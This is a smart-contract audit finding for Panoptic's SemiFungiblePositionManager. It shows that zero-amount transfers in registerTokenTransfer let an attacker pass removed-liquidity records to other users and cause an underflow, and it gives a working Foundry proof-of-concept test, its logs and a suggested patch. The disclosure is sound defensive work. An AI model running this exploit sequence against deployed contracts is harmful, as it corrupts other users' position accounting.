Panoptic - 0xloscar01's results

Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L578 https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L621

Vulnerability details

Impact

SemifungiblePositionManager::registerTokenTransfer() function checks that all the balance of a given tokenId is transfered with the following condition:

https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L621

if (fromLiq.rightSlot() != liquidityChunk.liquidity()) revert Errors.TransferFailed();

Then it updates and stores liquidity and fee values between accounts:

https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L626-L630

            s_accountLiquidity[positionKey_to] = fromLiq;
            s_accountLiquidity[positionKey_from] = 0;

            s_accountFeesBase[positionKey_to] = fromBase;
            s_accountFeesBase[positionKey_from] = 0;

A user can take advantage of this function to reset his removed liquidity value to 0 and increase the removed liquidity of another user by transferring an amount of 0 tokens.

The receiver address won't receive any tokens, but it will have its removed liquidity value increased without having removed any liquidity.

This will affect the calculations done on any protocol built on top of the SFPM and force the receiver to add liquidity to remove the unwanted short liquidity.

Proof of Concept

Test Case:

To reproduce the test, copy-paste the following function in SemiFungiblePositionManager.t.sol

    function testCanTransferZeroTokensToResetLiquidity() public {
        uint256 x = 0;
        uint256 widthSeed = 0;
        int256 strikeSeed = 0;
        uint256 positionSizeSeed = 0;
        address Charlie = address(0x123456781011);

        _initPool(x);

        (int24 width, int24 strike) =
            PositionUtils.getOutOfRangeSW(widthSeed, strikeSeed, uint24(tickSpacing), currentTick);

        populatePositionData(width, strike, positionSizeSeed);

        /// Position size is denominated in the opposite of asset, so we do it in the token that is not WETH
        uint256 tokenId = uint256(0).addUniv3pool(poolId).addLeg(0, 1, isWETH, 0, 1, 0, strike, width);

        // *** 1. *** The malicious actor (Alice) adds and then removes liquidity by minting two different tokens (`tokenId`, `tokenId2`).

        sfpm.mintTokenizedPosition(tokenId, uint128(positionSize), TickMath.MIN_TICK, TickMath.MAX_TICK); // Mint tokenId to add liquidity
        
        {
            uint256 accountLiquidities = sfpm.getAccountLiquidity(address(pool), Alice, 1, tickLower, tickUpper);
            console.log("Alice liquidity after adding liquidity by minting tokenId:");
            console.log("Removed liquity %s", accountLiquidities.leftSlot());
            console.log("Added liquidity %s", accountLiquidities.rightSlot());
        }

        uint256 tokenId2 = uint256(0).addUniv3pool(poolId).addLeg(0, 1, isWETH, 1, 1, 0, strike, width); // tokenId2 minting will remove liquidity

        sfpm.mintTokenizedPosition(tokenId2, uint128(positionSize), TickMath.MIN_TICK, TickMath.MAX_TICK); // Second mint to remove liquidity

        {
            uint256 accountLiquidities = sfpm.getAccountLiquidity(address(pool), Alice, 1, tickLower, tickUpper);
            console.log("Alice liquidity after removing liquidity by minting tokenId2:");
            console.log("Removed liquity %s", accountLiquidities.leftSlot());
            console.log("Added liquidity %s", accountLiquidities.rightSlot());
        }

        // *** 2. *** Alice transfers `0` tokens to Charlie. 

        sfpm.safeTransferFrom(Alice, Charlie, tokenId, 0, ""); // Alice transfers 0 tokens to Charlie, and Charlie receives 0 tokens but his removed liquidity is now increased

        console.log("Alice token balance %s", sfpm.balanceOf(Alice, tokenId)); //Alice keeps her tokens after a 0 amount transfer.

        {
            uint256 accountLiquidities = sfpm.getAccountLiquidity(address(pool), Charlie, 1, tickLower, tickUpper);
            console.log("Charlie liquidity after receiving the transfer:");
            console.log("Removed liquidity %s", accountLiquidities.leftSlot()); // Charlie removed liquidity is now increased and he has no tokens
            console.log("Added liquidity %s", accountLiquidities.rightSlot());
        }

        console.log("Charlie token balance %s", sfpm.balanceOf(Charlie, tokenId)); // Charlie receives 0 tokens

        {
            uint256 accountLiquidities = sfpm.getAccountLiquidity(address(pool), Alice, 1, tickLower, tickUpper);
            console.log("Alice liquidity after transfer:");
            console.log("Removed liquidity %s", accountLiquidities.leftSlot()); // Alice got rid of her removed liquidity tracking
            console.log("Added liquidity %s", accountLiquidities.rightSlot());
        }

        // *** 3. *** Alice has the same token balances after the transfer and burns `tokenId2`. Her removed liquidity value was `0` after the transfer so this underflows after the burn. 

        sfpm.burnTokenizedPosition(tokenId2, uint128(positionSize), TickMath.MIN_TICK, TickMath.MAX_TICK); // Alice burns her tokens to add liquidity. Since her removed liquidity is 0, the removed liquidity underflows.

        {
            uint256 accountLiquidities = sfpm.getAccountLiquidity(address(pool), Alice, 1, tickLower, tickUpper);
            console.log("Alice liquidity after burning:");
            console.log("Removed liquidity: %s <- obtained by `removedLiquidity` underflow inside `SemiFungiblePositionManager::_createLegInAMM` function", accountLiquidities.leftSlot());
            console.log("Added liquidity: %s", accountLiquidities.rightSlot());
        }

        // *** 4. *** Alice then mints more of `tokenId` and burns nearly all her token balance to make her added liquidy value equal to `0` and then transfers `0` tokens to Bob.

        sfpm.mintTokenizedPosition(tokenId, uint128(positionSize), TickMath.MIN_TICK, TickMath.MAX_TICK); // Alice mints again and adds liquidity, this is so she can burn all the token balances

        sfpm.burnTokenizedPosition(tokenId, uint128((positionSize * 2) - 2), TickMath.MIN_TICK, TickMath.MAX_TICK); // Alice burns nearly all her token balance to make the added liquidity value 0. -2 Substracted for rounding 

        console.log("Alice tokenid balance %s", sfpm.balanceOf(Alice, tokenId));

        {
            uint256 accountLiquidities = sfpm.getAccountLiquidity(address(pool), Alice, 1, tickLower, tickUpper);
            console.log("Alice liquidity after last burn:");
            console.log("Removed liquidity: %s", accountLiquidities.leftSlot());
            console.log("Added liquidity: %s", accountLiquidities.rightSlot());
        }

        sfpm.safeTransferFrom(Alice, Bob, tokenId, 0, ""); // Alice transfers 0 tokens to Bob, and Bob receives 0 tokens but his removed liquidity is now increased

        {
            uint256 accountLiquidities = sfpm.getAccountLiquidity(address(pool), Bob, 1, tickLower, tickUpper);
            console.log("Bob liquidity after transfer");
            console.log("Removed liquidity: %s", accountLiquidities.leftSlot());
            console.log("Added liquidity: %s", accountLiquidities.rightSlot());
        }

        {
            uint256 accountLiquidities = sfpm.getAccountLiquidity(address(pool), Alice, 1, tickLower, tickUpper);
            console.log("Alice removed liquidity after transfer is now 0");
            console.log("Removed liquidity: %s", accountLiquidities.leftSlot());
            console.log("Added liquidity: %s", accountLiquidities.rightSlot());
        }
    }

Logs:

  Alice liquidity after adding liquidity by minting tokenId:
  Removed liquity 0
  Added liquidity 553835278451139
  Alice liquidity after removing liquidity by minting tokenId2:
  Removed liquity 553835278451139
  Added liquidity 0
  Alice token balance 999999999999998
  Charlie liquidity after receiving the transfer:
  Removed liquidity 553835278451139
  Added liquidity 0
  Charlie token balance 0
  Alice liquidity after transfer:
  Removed liquidity 0
  Added liquidity 0
  Alice liquidity after burning:
  Removed liquidity: 340282366920938463463374053596489760317 <- obtained by `removedLiquidity` underflow inside `SemiFungiblePositionManager::_createLegInAMM` function
  Added liquidity: 553835278451139
  Alice tokenid balance 2
  Alice liquidity after last burn:
  Removed liquidity: 340282366920938463463374053596489760317
  Added liquidity: 0
  Bob liquidity after transfer
  Removed liquidity: 340282366920938463463374053596489760317
  Added liquidity: 0
  Alice removed liquidity after transfer is now 0
  Removed liquidity: 0
  Added liquidity: 0

Tools Used

Manual review

Recommended Mitigation Steps

Consider checking that the transferred balance is not 0 in the registerTokenTransfer() function

    function registerTokenTransfer(address from, address to, uint256 id, uint256 amount) internal {
        // Extract univ3pool from the poolId map to Uniswap Pool
        IUniswapV3Pool univ3pool = s_poolContext[id.validate()].pool;

        uint256 numLegs = id.countLegs();
        for (uint256 leg = 0; leg < numLegs; ) {
            // for this leg index: extract the liquidity chunk: a 256bit word containing the liquidity amount and upper/lower tick
            // @dev see `contracts/types/LiquidityChunk.sol`
            uint256 liquidityChunk = PanopticMath.getLiquidityChunk(
                id,
                leg,
                uint128(amount),
                univ3pool.tickSpacing()
            );

            //construct the positionKey for the from and to addresses
            bytes32 positionKey_from = keccak256(
                abi.encodePacked(
                    address(univ3pool),
                    from,
                    id.tokenType(leg),
                    liquidityChunk.tickLower(),
                    liquidityChunk.tickUpper()
                )
            );
            bytes32 positionKey_to = keccak256(
                abi.encodePacked(
                    address(univ3pool),
                    to,
                    id.tokenType(leg),
                    liquidityChunk.tickLower(),
                    liquidityChunk.tickUpper()
                )
            );

            // Revert if recipient already has that position
            if (
                (s_accountLiquidity[positionKey_to] != 0) ||
                (s_accountFeesBase[positionKey_to] != 0)
            ) revert Errors.TransferFailed();

            // Revert if not all balance is transferred
            uint256 fromLiq = s_accountLiquidity[positionKey_from];
-            if (fromLiq.rightSlot() != liquidityChunk.liquidity()) revert Errors.TransferFailed();
+            if (fromLiq.rightSlot() != liquidityChunk.liquidity() || (fromLiq.rightSlot() == 0 && amount == 0)) revert Errors.TransferFailed();        

            int256 fromBase = s_accountFeesBase[positionKey_from];
            //update+store liquidity and fee values between accounts
            s_accountLiquidity[positionKey_to] = fromLiq;
            s_accountLiquidity[positionKey_from] = 0;

            s_accountFeesBase[positionKey_to] = fromBase;
            s_accountFeesBase[positionKey_from] = 0;
            unchecked {
                ++leg;
            }
        }
    }

Assessed type

Token-Transfer